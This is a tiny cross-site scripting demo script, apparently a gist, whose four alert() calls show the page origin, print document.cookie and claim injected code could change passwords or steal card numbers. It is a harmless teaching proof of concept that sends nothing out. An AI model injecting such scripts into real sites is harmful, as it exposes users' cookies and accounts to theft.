simple xss example

xss_ex

alert('Im a script located on gist.github via rawgithub and I\'ve been injected into this demo @' + document.location.origin)
alert('I have full access to JS to do things like read your cookies... Check this out... ' + document.cookie);
alert('I can also access the websites API to change your password or steal your credit card number');
alert('XSS can be used for Eve-ill');